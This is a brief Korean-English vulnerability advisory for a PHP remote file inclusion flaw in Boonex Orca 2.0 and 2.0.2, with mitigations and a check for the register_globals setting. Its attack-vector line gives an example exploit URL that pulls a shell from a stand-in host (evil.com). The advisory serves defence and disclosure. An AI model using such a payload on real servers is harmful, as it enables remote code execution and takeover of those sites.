🇰🇷 한글 설명
Boonex Orca의 layout/default/params.php에서 register_globals가 활성화된 경우 gConf[dir][layouts] 파라미터를 통해 원격 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있는 취약점입니다. 공격자는 악의적인 URL을 주입하여 서버에서 원격 코드를 실행할 수 있습니다.
💡 쉬운 설명
Boonex Orca 웹사이트 구축 도구에서 특정 설정이 활성화되면, 공격자가 악의적인 웹 주소를 통해 서버를 제어할 수 있는 보안 결함입니다. 이를 통해 해커가 웹사이트의 모든 데이터에 접근하거나 손상시킬 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in layout/default/params.php in Boonex Orca 2.0 and 2.0.2, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the gConf[dir][layouts] parameter.
📍 영향받는 시스템
Boonex Orca 2.0, 2.0.2 (register_globals 활성화 환경)
⚔️ 공격 벡터
gConf[dir][layouts] 파라미터에 원격 파일 경로를 주입하여 원격 코드 실행 (예: http://target.com/layout/default/params.php?gConf[dir][layouts]=http://evil.com/shell.php)
🛡️ 대응 방법
1) Boonex Orca를 최신 버전으로 업그레이드 2) PHP의 register_globals를 비활성화 (php.ini에서 register_globals=Off) 3) 입력 검증 및 화이트리스트 필터링 적용
🔧 검증 코드
결과에서 register_globals가 'Off' 또는 '0'으로 표시되면 안전하고, 'On' 또는 '1'로 표시되면 취약합니다.
grep -r 'register_globals' /etc/php*/*/conf.d/ 2>/dev/null || php -i | grep 'register_globals'